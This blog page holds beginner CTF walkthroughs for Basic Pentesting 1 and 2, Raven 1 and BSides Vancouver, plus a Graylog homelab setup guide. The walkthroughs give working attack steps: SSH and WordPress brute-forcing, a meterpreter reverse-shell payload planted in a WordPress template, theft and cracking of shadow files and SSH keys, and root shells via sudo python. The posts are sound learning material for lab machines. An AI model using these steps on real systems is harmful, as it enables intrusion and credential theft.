Posted in Blog, Walkthrough

Basic Pentesting 2 Write-Up

Intro

It’s been awhile since I’ve done a CTF or boot2root, so time to work through another one. I’ll see how far I can get without looking at a walkthrough for a hint, but recognizing my time constraints, I have no problem going to a walkthrough when I get stuck. This is a step up from Basic Pentesting 1, so I’m curious what it’s going to look like. If you haven’t worked through Basic Pentesting 1, it would be good to do first if you are just starting out – my walkthrough for it is here.

Since there are some excellent detailed walkthroughs (a few listed below), this will not be a fully detailed walkthrough. I intend to provide basic steps and hints so that someone following along can get to the next step in the process but still have a bit to figure out independently. I like having the option of both types of walkthroughs when I’m stuck because it allows me to stretch where I can but not spend days chasing squirrels.

Recon

Enumeration

Pull down the necessary details for my Kali VM and scan the appropriate range for this lab. Netdiscover was being cranky and wouldn’t find anything for some reason. I may go back and try to figure out what at some point, but there are plenty of other tools available, so I’m not going to dwell on that now.

So on to fping -a -g <IP RANGE> to see what’s on the network. As expected, there are a few other hosts. Next up is nmap to identify which host is my target –

 nmap -sS -sV -O --osscan-limit IPRANGE -T5 -oN ./nmap.txt
 # -sS to to a SYN scan to be more stealthy
 # -sV to get version detection, not stealthy
 # -O to enable OS detection
 # --osscan-limit to limit OS detection to promising hosts
 # -T5 to speed things along
 # -oN to output to a file

A few notes on the nmap command because it is not how I would run the scan in an actual pentest. Using -sV and -O makes your scan much less stealthy. And running at -T5 is not a great idea in a production environment because it does depend on a very fast network and may result in decreased accuracy. Faster scans can also be harder on the target machine, so not something you want to use in a production setting. I use -sS and -oN out of habit to do a more stealthy scan and save the results (remember documentation is very important in pentesting), and add the other options because this is a lab.

Nmap results in brief:

  • 22/tcp open ssh – OpenSSH 7.2p2 Ubuntu 4ubuntu2.4
  • 80/tcp open http – Apache httpd 2.4.18 (Ubuntu)
  • 139/tcp open – netbios-ssn Samba smbd 3.x-4.x (workgroup: WORKGROUP)
  • 445/tcp open – netbios-ssn Samba smbd 3.x-4.x (workgroup: WORKGROUP)
  • 8009/tcp open ajp13 – Apache Jserv (Protocol v1.3)
  • 8080/tcp open http – Apache Tomcat 9.0.7
  • Running some variety of Linux, likely Ubuntu

Dirb results of interest and findings from digging around:

  • /development
    • ./dev.txt – notes about
      • struts 2.5.12, example REST version -K
      • SMB has been configured -K
      • Apache set up -J
    • ./j.txt
      • /etc/shadow – J’s password easily crackable
  • /icons
  • /index.html
  • /server-status
    • Forbidden error
    • Apache/2.4.18 (Ubuntu) Server

Exploitation

Photo by Miguel Á. Padriñán on Pexels.com

I wasn’t sure where to go next. In the interest of time, read through just enough of the InfoSec Institute walkthrough to get an idea of where to go next. The walkthrough used enum4linux, which is a great tool I’ve used before. So I’m kicking myself a little for allowing myself to get so out of practice.

That found 2 users – kay and jan. I dug a bit with the SMB options, but wasn’t getting anywhere. Back to the walkthrough, which used Hydra to target SSH for jan’s account.

 hydra <IP> ssh -l jan -P /usr/share/wordlists/rockyou.txt

I’m pretty sure using the full rockyou file was overkill, but it got the job done.

Logged in as jan and started poking around. I found that there were home directories for jan and kay. I could view the contents of kay, which included a pass.bak file. I couldn’t read it – so filing that away. There was also a .ssh folder that looks promising, but I wasn’t quite sure what to do with it. I should have kept digging on this, but decided to follow the walkthrough instead. Looked at the suggested Ubuntu 16.04.14 exploit, but decided against it based on the failure in the walkthrough and a dislike for connecting my targeted VMs to the internet.

The walkthrough went back to the .ssh folder at this point. I did some research on how to use ssh keys, which basically said letting other people have access to your private key is a bad idea (in case you needed to be told that). But it was helpful in figuring out what needed to be done.

A few helpful resources:

I pulled over the files using scp and tried logging in. Unfortunately, it asked for a passphrase. Had a bit of a brain fart at this point and got a little stumped at figuring out the passphrase. Back to the walkthrough where ssh2john key > sshtojohn was the next step. For some reason, this made no sense to me. I blame a lack of coffee. I tried the command, but I got the message that the command wasn’t found. Off to do some digging on the ssh2john option of John the Ripper. Basically, the command was just in a different place. I’ve used John the Ripper quite a bit, but obviously I need to spend some time getting more familiar with the tool. Pulled a couple of blog posts for review – Hacking Articles (Raj Chandel’s Blog) had a beginners guide. I’ve found this site to consistently have great info, so here are the posts:

Once I found where ssh2john was, it was pretty straightforward.

 locate sshjohn
 /usr/share/john/ssh2john.py /path/to/privatekey > /path/to/output
 john /path/to/output

Then sit back and wait while John does its thing. It cracked the passphrase, so back to logging in via ssh. I was able to login as kay with no problem. I did have to make sure that the private key was in the proper place to be connected to the root user since that’s who I was in my Kali box. Once I’m done with this VM, I’ll remove the key. If you are running into issues, running ssh with the -v flag should give enough info to figure out where the issue is occurring.

Once logged in as kay, I started poking around. Then realized I should just go cat the file I found earlier before chasing other squirrels. That was kay’s password, and I was able to execute sudo su and get root privileges on the box.

For kicks, I pulled over the /etc/passwd and /etc/shadow files to run them through John. I poked around a bit more, but since I’d gained root I didn’t spend a lot of time. I want to go back and try exploiting some of the other services that were available on the box and taking over the website. I also want to try the method used to get root by Jon Wood, which involved modifying the sudoers file. My initial impression is that you could make jan a sudo user by editing the file as kay, which would be pretty straightforward. And a little pointless since if you are logged as kay you already have root access. I did some digging on options to edit the file as jan without sudo, booting in live mode seemed to be a popular option, but not great for our situation.

Photo by Juan Pablo Arenas on Pexels.com

I looked at some great options for privilege escalation by exploiting sudo rights, but since jan isn’t in the sudoers file, it’s going to take something else. Took a peak back at the walkthrough, and it mentions linuxprivchecker…at which point I face palm because I’ve known about this for ages (from this Linux privilege escalation blog post). I don’t like putting my target VMs on the internet, so I decided to use scp. I couldn’t scp the file into jan’s home directory, so I tried switching the file to a .txt instead of a .py. Still no luck. Decided to try copying to a tmp directory and was able to copy over the .txt version. Then a quick rename and execute the exploit.

It pulled back a lot of information. Scrolling through I saw vi was on the list. Since I’d seen vi come up when I was researching the sudoers file, I decided to try editing sudoers in vi. I was able to edit the file and add jan as a sudo user. Of course, then I had to remember how to save/exit in vi. It exited out to a shell that looked slightly different (not with the typical user info for SSH), but I was able to sudo su and get root on the box. I was working in a shell in vi, which is something I need to look into more. It was good experience working through this method of getting root, but I think this would be low on my list to exploit in an engagement. Manipulating the sudoers file in vi carries some risk (understatement…), and it’s not something I would want to use in a production environment unless other options had been exhausted and the client understood and accepted the risk. I may be very willing to take risks and fork things in lab environments, but production is and should be a totally different situation.

Wrap Up

This was a fun box. I learned some new things, but the biggest lesson was that I need to make a point to keep working on different boxes to keep my skills sharp. Pen testing hasn’t been as high on the priority list, but I need to make time for it. It would be nice to go through and do all the work without relying on walkthroughs when I get stuck, but the reality is that’s not a great option for me right now. I think the next one I’ll look for one with a summary at the beginning – like this one – to give me some ideas without getting too specific.

Some key takeaways:

  • Need to make a point to regularly do CTFs of some sort
  • Need to spend some time learning some of the tools I use frequently in more depth
  • Make sure password policies are also applied to keys, etc.
  • Make sure keys, etc. have the proper permissions
Posted in Blog, Resources, Walkthrough

Graylog Homelab/POC: Part 1 – Initial Setup

Intro – what is Graylog?

Graylog is a centralized logging solution, so similar to Splunk, Elastic, etc. (yes, I’m simplifying). The company emphasizes the speed, scalability, and affordability of the product. The website provides use case info for security, compliance, IT operations, and devops, as well as a section for MSSPs. Graylog started as an opensource project and maintains those roots with a free opensource version and a free tier of the Enterprise option. The Enterprise option offers some (important) add-ons like Views, Offline Log Archival, and User Audit Logs. The opensource version gives you a whole lot, but there are some good incentives for jumping to the Enterprise tier. The comparison breaks the differences down well and provides enough info to make an informed decision.

One of the things that I really like about Graylog is the focus on usability and getting things in place in a functional way. I see way too many things get implemented and then be too complicated to maintain or easily bring people up to speed. I find this typically leads to the product being dropped and the business not seeing a good ROI on the product. I thought the Graylog whitepapers on growing a SIEM deployment and using log management to optimize SIEM were really helpful for developing a plan to implement centralized logging/SIEM. I’ve also found Graylog easy enough to use that I think training people for daily tasks could be done efficiently. Of course this is based on small scale usage, but at least when things are relatively uncomplicated on a small scale there is hope of being relatively uncomplicated on a large scale.

This will be a multi-part series focused on getting Graylog up and running. This portion will focus on just the initial setup using a VM. Part 2 will look at streams, alerts, and dashboards.

Why test?

depth of field photography of brown tree logs
Photo by Khari Hayden on Pexels.com

Graylog is a great option for a home setup because the opensource option doesn’t have a data limit. This makes it really nice for home monitoring since you won’t have to worry about license violations. The Enterprise version has a free version with a 5 GB daily limit, which should be enough for many home options and possibly some smaller businesses. The big caveat I found with the free Enterprise option was that the user agreement indicated that Graylog needed to be able to check-in with the server at any time. I understand the reason (because keeping track of usage for the free tier is understandable), but it makes me hesitate to use the Enterprise option for home lab or POC when I will be shutting off the server regularly. Of course, turning off the log monitoring server does kind of defeat the purpose of centralized monitoring, so in productions situations you wouldn’t be turning the server off. A reasonable approach would be going with the generic free option until you have determined viability, and then move to the free Enterprise tier when you are ready to set up a 24/7 server.

Although Graylog isn’t one of the biggest names in log management right now, working with it in either a VM or setting up the components would develop transferable skills. (I also personally think Graylog is poised for growth – solid platform and pricing seems quite competitive.) Moving beyond the VM setup covered here would be very beneficial because you would be setting up Elasticsearch and MongoDB to support the Graylog server, as well as configuring the Linux-based Graylog server. There are also options for Docker and AWS, so there are a lot of different things to work on and develop needed skills. The documentation is solid, and the user forums are active – so you can probably find troubleshooting help quickly. I’ve also found Graylog to be pretty easy to use once you get oriented to the platform. At some point, I imagine I’m going to end up with a home solution that is up and running some sort of central logging (probably Graylog) and Security Onion so I have stuff to play with.

Quick setup & Tips

I’m going to cover setting up a Graylog OVA VM in a home lab and getting logs in from a few different sources. I think this is one of the quickest ways to get familiar with a centralized logging solution. I’ve done this with Splunk as well, and I’ve found the setup to be a little easier with Graylog because of the VM option. Neither is “hard,” but I do like being able to quickly pop up a VM that I can just blow away when I’m done with it.

scarlet macaw
Photo by Tim Mossholder on Pexels.com

My setup will be the Graylog VM, a ParrotSec VM to connect to the Graylog server, and a Windows machine. The Windows machine could be a VM or an actual machine. You can also just as easily connect to the Graylog web console from Windows as Parrot, but do note that Graylog itself should go on Linux. The documentation gives some additional info (basically, you could install on Windows but it’s likely to be an exercise in frustration). This way you’ll cover getting logs in from Linux and Windows, which are probably the most likely ones to see. If you have a Mac around, I would add those logs as well. Unfortunately Apple is even more of a pain to get into a home lab than Microsoft. At least Microsoft offers trials or development ISOs you can use for home lab/testing/POC. I’ve yet to find a good (and ethical) way to test Apple without buying a device. There are options for getting logs from applications, but I won’t get into that in this post. I’ll also use Syslog to send in router logs, just for fun. I will be using VirtualBox because I find it to be a more feature-rich option than VMWare’s free offering.

Basic steps

  1. Download and import the Graylog appliance – the OVA option is used for VirtualBox.

    1. Note: Make sure you record the admin password the first time you power on the VM. If you don’t, it’s lost to the ether and you’ll need to import the VM again if you didn’t take a snapshot before starting it the first time. But we always take a snapshot of the initial import, right?

    2. Set up the VM to have a static IP. I prefer to do this on the VM for this use case – for a more permanent setup, setting at the router or DHCP server would be preferred. LinuxConfig.org has a solid walkthrough on how to update the netplan config file.

    3. Check the time and date using date. For some reason my VM decided to be 30 minutes off. A restart took care of it, but in case you have more issues, DigitalOcean has a nice write up on managing time sync in Ubuntu.

    4. Note: The Graylog server will orient itself to UTC and if you put the VM in host-only mode, it will take your host OS time to be UTC, and that can cause a major headache when you can’t find your logs. If you decide to go with a host-only adapter for your VM, make sure that you carefully check time zones on the Graylog server and machines sending in logs. Don’t ask me how I know…

  2. Download and import Parrot appliance – I use the Security version, but the home/workstation version should work as well.

  3. Set up appliances to be on the same network.

    1. Since I want to send in my router logs, I’m going to use bridged mode to make life easier.

  4. Set up Graylog using the web console.

    1. Access the appropriate IP through a browser.

    2. Login using the credentials provided when you first started the Graylog VM.

  5. Set up Graylog syslog input. I’m putting the menu options in the code format so they stick out a little more, these are all from the web interface.

    1. From the Graylog web console, select System/Inputs > Inputs.

    2. On the Inputs main page, select Input > Syslog UDP > Launch new input.

    3. Choose the node or select Global.

    4. Give it a title like “Syslog UDP”.

    5. Set the bind address (can be 0.0.0.0) and port (some systems may complain at 514, so you may need to pick something else).

    6. Leave the rest as defaults.

    7. Save.

  6. Set up Parrot to forward syslog to Graylog. These steps are from the terminal.

    1. Choose whether to add a separate Graylog configuration or just add it to the /etc/rsyslog.conf file – for this example, I’m going to add a new config file. This makes the info quick and easy to find for updates.

    2. Move to the rsyslog configuration file directory cd /etc/rsyslog.d.

    3. Create the new configuration file: sudo touch graylog.conf.

    4. Open the file for editing: sudo nano /etc/rsyslog.conf.

    5. Add the entry for the UDP input (See the documentation for more info):

       *.* @<graylogappliance>:<port>;RSYSLOG_SyslogProtocol23Format
       *.* @192.168.1.100:514;RSYSLOG_SyslogProtocol23Format
    6. Restart the syslog service service rsyslog restart.

  7. Verify logs are getting in:

    1. If logs aren’t, some troubleshooting steps…

      1. Verify proper ports are open on Graylog server netstat -tulpn | grep listen.

      2. Open up the firewall ports as needed – check the Ubuntu docs for info. I found this article from IBM on firewall configuration that shows several different ways of managing firewalls. The Graylog VM comes with UFW disabled and iptables set to allow all, so you may want to enable it to practice working with firewalls. I did some quick and dirty configuration just to get some practice…

         ufw allow 9000 #connection to web interface
         ufw allow 514 #Syslog UDP input
         ufw allow https
         ufw allow http

        ETA: A couple more rules that might be important…

         ufw allow ssh #do this before enabling ufw if you are on ssh
         ufw allow 5044 #Windows beats
      3. I had to disable ipv6 on my Graylog appliance because it wasn’t playing nicely. In a production environment, you would want to make sure this wouldn’t cause any errors. For homelab, I’m more interested in getting things dealt with quickly.

         sysctl -w net.ipv6.conf.all.disable_ipv6=1
         sysctl -w net.ipv6.conf.default.disable_ipv6=1
      4. Try restarting the Graylog server service sudo systemctl restart graylog.server.service.

  8. Set up router/firewall to forward syslog to Graylog:

    1. This part will be very device specific, so you’ll need to some research (AKA Googling) to see what you need to do.

    2. For many ISPs, the steps would likely look like this:

      1. Navigate to the web-based control portal for your router.

      2. Find the area that contains logging info (click through until you find it – consider it pentesting practice).

      3. Set up log forwarding using Syslog – you may need to enable Syslog for this to work.

  9. Set up Windows using Sidecar – read through the Graylog documentation before starting. It wasn’t difficult necessarily, but it would have been easier had I looked at it a little more closely the first time through. I’m going to use the Graylog Sidecar because it was easy to use once I got it figured out.

    1. Download the appropriate Sidecar package.

    2. Get the needed API token to set up the Sidecar in the Graylog web console:

      1. System > Authentication

      2. Users

      3. For the graylog-sidecar user, click on "More actions" > "Edit tokens".

      4. Give the token a name.

      5. Click Create Token.

    3. Install the Sidecar, using the Graylog appliance IP and API token when prompted. Be sure to give the install a unique name if you do this on multiple systems.

    4. I’ve also had to open the Command Prompt as an administrator and install/start the Graylog service – go the the folder where Graylog is installed, then open the Sidecar folder and run:

       graylog-sidecar.exe -service install
       graylog-sidecar.exe -service start
  10. Set up Graylog Sidecar collector in the web console:

    1. I’m using Beats on Windows because I’ve found it works well and comes included in the Sidecar

    2. Go to System > Inputs.

    3. Then Beats > Launch new input.

    4. Give the input a name, leave the rest as defaults.

    5. Go to System > Sidecar > Configuration > Create Configuration.

    6. Name the Collector Configuration.

    7. Choose the winlogbeat on Windows option.

    8. In the Configuration area

      1. Make sure you update the host appropriately.

      2. Adjust the path if desired.

    9. Click Create to finish.

    10. Go to the Collector Administration page, click on the Configure menu and select the collector you created.

    11. The side car should now show Running by the winlogbeat.

  11. Verify logs are getting in by checking for messages come from each input and each expected source.

  12. See what you can see. Look at log entries to get familiar with the format. See what you can understand and what you may need to look up.

Wrap Up

Now you should have a Graylog instance stood up and receiving logs from a couple different sources. It’s a pretty easy process.I would take some time to get familiar with the log formats that you are receiving, maybe even look up some documentation to understand what each portion of the log means. Taking the time to understand what’s coming in will make it much easier to set up streams, alerts, and dashboards, which will be covered in part 2.

It would also be nice to add in other log sources if you have things available. Going through the setup steps multiple times helps you solidify the process internally and discover any nuances to the deployment that you may have glossed over going through the first time.

Posted in Blog, CTF, Walkthrough

Raven 1 Walkthrough

Description

boot2root, 4 flags, 2 ways to get root

https://www.vulnhub.com/entry/raven-1,256/

This will be a brief walkthrough that will point you in the right direction, but leave enough for you to figure out on your own. This is a great CTF to do early on because you cover a lot of different things that are commonly encountered in CTFs and pentesting. I did this at one of my ethical hacking club meetings following a guide and wanted to come back to it to understand what was being done.

Port scan

I usually do a quick check with netdiscover, fping, or something similar to make sure that I’ve got my VMs on the same network. Since I’ve usually got several labs that I’m working on, it’s a quick way to make sure that I have everything on the same host-only network for labs like this. Then I’ll use nmap to see what I’m dealing with.

Found target – 172.16.250.3 (it would be a good idea to add this to your /etc/hosts file as raven.local or similar). Remember your IP will differ depending on your VM settings.

  • 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
  • 80/tcp open http Apache httpd 2.4.10 ((Debian))
  • 111/tcp open rpcbind 2-4 (RPC)
  • Linux 3.x|4.x

The big targets from the port scan are SSH and the webpage. From doing other CTFs, I know the webpages are often great targets. So I would have likely started poking at that first had I just done this box on my own.

Website enumeration

Pull up the website using the IP and click through it. Check the page source on each, specifically look for flags. Flag 1 can be found in the source code of one of the pages. Hint – it’s near the footer.

You should also use tools to enumerate the website – dirb, nikto, etc. These will give you some additional things to check out. Notice that there is some stuff related to wordpress, including an admin page.

Try using WPScan to see what’s there. It complained about not being able to find the wp-content dir, so I did have to supply that.

 wpscan --url 172.28.128.4/wordpress --wp-content-dir /wp-admin -e

Found some info about potential vulnerabilities and 2 users – steven and michael.

Password bruteforcing

Next step, try to brute force the WordPress login. Because the main site is not WordPress some of the typical WordPress approaches don’t work well. WPScan and the Metasploit WORDPRESS_LOGIN_ENUM module both fussed at me. Pull up your developer tools (F12 in most browsers) to check out how logins are handled so you can pull the info needed to run Hydra against the login page. This walkthrough on NULL BYTE does a great job explaining how to obtain this info. Do the digging, and you end up with…

hydra -vV -L <usernamefile> -P <passwordfile> raven.local http-post-form '/wordpress/wp-login.php:log=^USER^&pwd&wp-submit=Log+In:F=is incorrect'

(Hat Tip to Scipher of my ethical hacking club for the Hydra example code)

While that’s running, I popped up Metasploit to work on brute forcing the SSH info.

 msf > use auxiliary/scanner/ssh/ssh_login
 msf auxiliary(scanner/ssh/ssh_login) > set pass_file /usr/share/wordlists/rockyou.txt
 msf auxiliary(scanner/ssh/ssh_login) > set user_file <pathtowhereyousavedusernames>
 msf auxiliary(scanner/ssh/ssh_login) > set rhosts <targetIP>
 msf auxiliary(scanner/ssh/ssh_login) > set user_as_pass true

Found michael:michael as an SSH login, so while Hydra is still working on the WP login, I’ll do some poking around by using SSH.

Digging around as michael

Log in via SSH, and get a message about new mail. Did locate mail to quickly find where mail would be since I couldn’t remember (/var/mail) and found the message for michael.

Cat the message to get an idea of what it is, and it was long. So pop open another terminal window to use scp to pull the file for analysis.

 scp michael@172.28.128.4:/var/mail/michael /whereyouwantthe/file

Since I’m already in var, I decided to look into the /var/www file since it often has website info, and there was flag2.

Now onto the /var/www/html directory. There is a wordpress directory, so let’s take a look there. There are quite a few items in the folder, but one of interest is the WordPress configuration file. Cat and examine the info or use scp to pull it onto your box.

Looking over the file, you can find the MySQL username and password(root:R@v3nSecurity).

Investigating MySQL

Now you can check out the MySQL databases available. While still using SSH as michael, start MySQL and see what’s there. This MySQL cheatsheet is a handy reference.

 mysql -u root -p #Enter password when prompted
 mysql> show databases;
 mysql> use wordpress;
 mysql> show tables;
 mysql> select * from wp_users;

Take the hashes of the user passwords and save them in a file. Then use John to crack them.

You may also want to check out the tables to see what you can find.

Sudo

It’s also a good idea to try to sudo when you have an ssh shell. I think sudo is one of those commands that gets used alot without every really digging into what it can do. So, I ended doing some digging to understand what was recommended at hacking club. The man page is a good place to start. And this StackExchange had an answer that clarified a lot of things. Unfortunately, michael’s account was limited.

Digging around as steven

John came back with a password for steven. I tried that on the WordPress login and was able to get it. Do some digging around and you’ll find flag3 if you didn’t find it poking around the database earlier.

Then to using SSH with steven. Log in and try sudo -l to see what steven can do. This shows that steven can execute /usr/bin/python. Hmmm…this made me think of the multiple times I’ve used Python to get an interactive shell.

So use sudo python -c 'import pty; pty.spawn("/bin/bash")' to get a shell as root. (Another HT to Scipher for providing the code so I didn’t have to dig it out). Now you’ve got a shell as root, so you need to do some poking around and find flag 4.

Wrap Up

I liked this box a lot. It was a little different doing it as part of a club meeting because it was easy to follow the breadcrumbs. It used quite a few things I already know, reinforced some other things (like dealing with MySQL), and made me learn more about where WordPress puts things and what sudo really means. I think working through boxes like this with breadcrumbs or a walkthrough is really helpful when you are learning to pentest. There’s a certain point that you need to get to before you can really work through boxes on your own. Or at least that’s where I’m at since there are only so many hours in the day. I’ve found doing the walkthroughs has helped me learn how to think about the process. When I’m using a walkthrough my goals are different than when I’m attacking a box without one.

I like to see how other people approach things, so I checked out a few other walkthroughs. InfoSec Adventures had a nice one. I’m also a fan of Raj Chandel’s walkthroughs and he has a detailed walkthrough of this box if you need additional information. He also covers 2 methods of getting root. I found 2 detailed walkthroughs on YouTube if you learn better that way. Both are long (40+ minutes) but I think worth watching if you need to see a little more of what’s going on.

Next Steps

There is a Raven 2 box, so you may want to check that one out as well. It’s an intermediate level, but looks like fun. It’s on my never-ending list of CTFs to play with. If you want to keep working on beginner level challenges, there are a lot of those out there as well. For a more guided option, try something like OverTheWire.

Posted in Blog, CTF, Resources, Walkthrough

BSides Vancouver Brief Walkthrough

This is a bare bones walkthrough for the BSides Vancouver. I’ll post a very verbose version later, but this should give you a chance to work through the VM. There is a lot left for you to figure out, but sometimes bread crumbs are a great way to learn.

Info needed to get started:

  • abatchy’s blog: https://www.abatchy.com/projects Creator of the VM and guidance slides
  • Vulnhub link: https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/
  • Name: BSides Vancouver: 2018 (Workshop)
  • Release date: 21 Mar 2018
  • Goal: Boot2root
  • Requirements from abatchy:
    • Laptop capable of running 2 VMs and has a USB port
    • At least 20 GB free space
    • VirtualBox pre-installed
    • Kali VM
    • Some familiarity w/CLI
  • Setup from abatchy:
    • Virtual Box
    • Network: Host network manager – create and enable DHCP, host-only adapter (I set up my IP to match abatchy’s slides)
    • Target system is Linux

 

The bread crumbs to get root:

  • Get IP using ifconfig – use the IP address found as the [IP address] as indicated below
  • Scan network using netdiscover -r [IP address].0/24
  • Scan machines on networks using nmap -A [IP address].0/24
  • Find target machine based on open ports
    • 21, 22, 80
  • Check out FTP site – get usernames
  • Check out IP address of target machine – it’s a valid webserver
  • Probe the server nikto -h [Target IP] -p 21,22,80
  • Check out the stuff it found
  • Probe some more using dirb http:// then the [Target IP]
  • Check out what it found – an old WordPress site and robots.txt
  • Go to or curl the robots.txt
  • Check out WP site wpscan -u [Target IP]/backup_wordpress/
    • Get a bunch of vulnerabilities, 2 users (admin, john)
  • Brute force WP password using WPScan or Metasploit
  • Can login and mess with stuff or just use Metasploit to get a reverse shell
  • Try to download passwd and shadow files – did this work?
  • Start looking for other vulnerabilities
    • Use Linux enum to look for vulnerabilities
    • Look for tasks with suid vulnerabilities, crontab is a good things to look for
    • Figure out how to exploit the crontab file
      • Edit and change to !#/bin/sh?
      • Download and upload an msfvenom payload?
  • Alternatively, try to brute force the SSH connection using Hydra and the usernames found at the FTP site
    • Get that and use Metasploit to set up a reverse shell
  • Once in the reverse shell, have to figure out info
    •  sysinfo
    •  getuid
    • Dig around in the directories
    • Check what level of user you are
    • If super user, just switch to root and search for flag

 

Posted in Blog, CTF, Resources, Walkthrough

Basic Pentesting 1 (Vulnhub) Walkthrough

This was set up to be a VM for newcomers with multiples options. The goal is to obtain root. I started working on this one alongside the BSides Vancouver VM as an intro to pen testing. I found a walkthrough by Raj Chandel (http://www.hackingarticles.in/hack-the-basic-penetration-vm-boot2root-challenge/) that I used as a reference when I got stuck. Hopefully this will be detailed enough for a total beginner to work through this challenge and get started with penetration testing or capture the flag (CTF). Since I like to learn by doing, I’ve been looking at walkthroughs for some beginner level challenges to get an idea of what to do and look for.

Reconnaissance

Scanning and Penetration Testing

  • Fire things up, and run ifconfig to get my IP – 192.168.14.4
  • Scan the network using netdiscover -r 192.168.14.0/24

BPT1

  • Found 3 machines, now to figure out which is our target using nmap -A 192.168.14.0/24 (this option will give us ports and OS info). I copy/paste the full results into OneNote for reference, but I’ll keep this short in the interest of space.
    • 192.168.14.1: looks like a Windows machine of some sort, not my target, but has a few open ports
    • 192.168.14.2: all ports filtered
    • 192.168.14.3: Linux 3.2-4.8; here’s my target system
      • 21/tcp open ftp ProFTPD 1.3.3c
      • 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
      • 80/tcp open http Apache httpd 2.4.18 (Ubuntu)
  • Check out 192.168.14.3 in a web browser…

BPT2

  • Now let’s probe the server using nikto -h 192.168.14.3

BPT3

  • This includes a /secret/ directory that “might be interesting”
  • Let’s check that out in the browser – it’s a WordPress blog

BPT4

 

  • Now we’ll try to login. We get a server not found message, and Raj’s reference walkthrough tells us we need to open the admin page using the domain name.
    • Go to /etc/ and find the hosts file.
    • Add [IP of target] vtcsec, save the file
    • Since we’re not connected to the internet, Kali doesn’t know how to reconcile the IP and server name (it can’t look up the DNS info), so we’re adding it.
    • Reference about the Linux host file: https://www.makeuseof.com/tag/modify-manage-hosts-file-linux/
  • Go refresh the browser page to see if it works.
  • It does, so now we’ve got a WP login screen.
  • Now we’ve got options, we can try a few easy default type usernames and passwords or try to find out more. Using WPScan could give use the usernames and info on vulnerabilities.
  • I’m going to check out the server in more detail to see what’s there. Since I’m trying to learn, I’m ok doing extra things. I use dirb http://192.168.14.3/secret to check out the directories on the server.
    • I didn’t see anything real exciting, but I filed the results for later.
  • I’d like to know what vulnerabilities I’m looking at, so let’s do a WPScan first.  # wpscan -u http://192.168.14.3/secret –enumerate u
    • 9 vulnerabilities from the version number
      • Authenticated JavaScript File upload
      • RSS and Atom Feed Escaping
      • HTML Language Attributes Escaping
      • ‘newbloguser’ Key Weak Hashing
      • MediaElement Cross-Site Scripting (XSS)
      • Application Denial of Service (DoS) (unpatched)
      • Remove localhost Default
      • Use Safe Redirect for Login
      • Escape Version in Generator Tag
    • Theme: twentyseventeen – v1.4
    • No plugins
    • User: admin
    • File the rest of the results for future reading…
  • I could brute force the password with WPScan, but I’ll follow our walkthrough’s guidance and use Metasploit.
  • Fire up Metasploit to brute force the password for ‘admin’
    •  msf> use auxiliary/scanner/http/wordpress_login_enum
    •  msf auxiliary(wordpress_login_enum) > set username admin
    •  msf auxiliary(wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt (could use whatever wordlist you want, make sure your file path is correct)
    •  msf auxiliary(wordpress_login_enum) > set targeturi /secret/
    •  msf auxiliary(wordpress_login_enum) > set rhosts 192.168.14.3
    •  msf auxiliary(wordpress_login_enum) > run (or exploit)
  • This worked and we get admin: admin
  • Go login and navigate to the template editor (Appearance – Editor) and then the 404 editor
  • We’ll try to replace the template following Raj’s directions.
    •  msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.14.4 lport=4444 -f raw (the host will be your IP)
    • Copy/paste the code from <? php to die(); and paste it into the 404 template.
    • Update the file
  • Setup a listener using Metasploit
    •  msf > use multi/handler
    •  msf exploit(handler) > set payload php/meterpreter/reverse_tcp
    •  msf exploit(handler) > set lhost 192.168.14.4
    •  msf exploit(handler) > set lport 4444
    •  msf exploit(handler) > run
  • Go to the template in the browser, and you should get a reverse shell. This hasn’t worked well for me, so now what?
  •  I tried creating a new page, calling it meta, and pasting in the php code. Opening that page didn’t get my listener, but it ended in /, let’s try changing that to .php
  • Success! The webpage hangs on connecting, and we get a reverse shell. You can close the web browser if you would like.
  • Let’s use sysinfo to see what we’re dealing with – nothing unexpected, it’s a Linux system.
  • Since Linux stores password info in /etc/, let’s see if we can access that by trying to download the shadow and passwd files.
    •  meterpreter > download /etc/shadow
    •  meterpreter > download /etc/passwd
  • Both downloaded, so we’ll follow Raj’s guidance to use John the Ripper to merge and crack the passwords. We have to go back to the regular terminal to do this.
    •  root@kali:~# unshadow passwd shadow > cracked (combines the two, but doesn’t show us anything)
    •  root@kali:~# john cracked
    • We get marlinspike (marlinspike) to indicate a user and password
  • Great, let’s login as marlinspike…back to meterpreter
  • Trying su – marlinspike gave an “unknown command: su” response. Ok, after some Googling, we need a shell.
    •  meterpreter > shell (since this is a Linux box, the shell will just give you a prompt)
    • Trying su -marlinspike again gets “su: must be run from a terminal”
    • More Googling tells me I need to get a TTY http://pentestmonkey.net/blog/post-exploitation-without-a-tty
    •  python -c ‘import pty; pty.spawn(“/bin/sh”)’
    • I now have a $, so that’s promising
    • Now I’m able to login as marlinspike using the su – marlinspike command
  • Back to Raj’s suggestions…I am able to check the sudo -l list and then use sudo bash to get root.

BPT5

  • Yay! Challenge complete. Now I want to try a different option. I’m not sure why the 404 change didn’t work – I tried it a bunch of times, and sometimes it would work if I cleared the browser cache and what not, but it wasn’t as reliable as I would like.
  • So I’ll try the Metasploit unix/webapp/wp_admin_shell_upload exploit I found working on the BSides Vancouver VM.
    •  msf > use exploit/unix/webapp/wp_admin_shell_upload
    •  msf exploit(unix/webapp/wp_admin_shell_upload)> set password admin
    •  msf exploit(unix/webapp/wp_admin_shell_upload)> set username admin
    •  msf exploit(unix/webapp/wp_admin_shell_upload)> set targeturi /secret/
    •  msf exploit(unix/webapp/wp_admin_shell_upload)> set rhost 192.168.14.3
    •  msf exploit(unix/webapp/wp_admin_shell_upload)> exploit
  • This got me my meterpreter shell, so let’s see if the same things work. I could download the passwd and shadow files, so I’ll try cracking them using John the Ripper again. This basically gave me the message that it had already done this, and there was not more cracking to be done. That makes sense since I didn’t clear things out before trying this alternative exploit. So I told john to show me the password – john –show cracked, and got my password again. Then I was able to follow the same procedures.(John the Ripper FAQ http://www.openwall.com/john/doc/FAQ.shtml)
  • Because I’m a curious person, I went back and deleted vtcsec from the hosts file to see if I could still use the Metasploit exploit. I was still able to open the reverse shell using the wp_admin_shell_upload, so that’s something to file away.

 

